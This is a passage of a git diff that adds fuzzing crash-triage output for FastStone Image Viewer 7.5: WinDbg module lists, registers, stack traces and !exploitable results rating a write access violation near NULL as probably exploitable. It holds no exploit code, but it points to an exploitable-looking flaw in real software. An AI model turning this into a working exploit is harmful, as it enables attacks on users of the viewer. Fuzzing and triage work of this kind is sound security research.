00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(120.1bbc): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 ecx=07ea7b19 edx=00000000 esi=00000000 edi=0fce4fd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.732602802468701280000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=1.70563e-028 -2.39862e+026 1.43291e+034 6.51304e+016 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f88130 07f05930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 002b0000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 002b0000 73eb3761 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62c0 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 002b0000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/41664/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/41664/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..c42ddd3 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/41664/WindowsDebugEngine_description.txt @@ -0,0 +1,174 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x120: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x120: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(120.1bbc): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 ecx=07ea7b19 edx=00000000 esi=00000000 edi=0fce4fd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.732602802468701280000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=1.70563e-028 -2.39862e+026 1.43291e+034 6.51304e+016 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f88130 07f05930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 002b0000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 002b0000 73eb3761 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62c0 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 002b0000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/41664/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/41664/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..21777a1 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/41664/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/42112/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/42112/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..9258160 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/42112/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Writing To 0x0000000000000002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/42112/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/42112/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..36b2940 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/42112/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/42112/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/42112/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..3f389a1 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/42112/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,173 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1BD8: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1BD8: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1bd8.1264): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 ecx=07e37b19 edx=00000000 esi=00000000 edi=0fc44fd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte 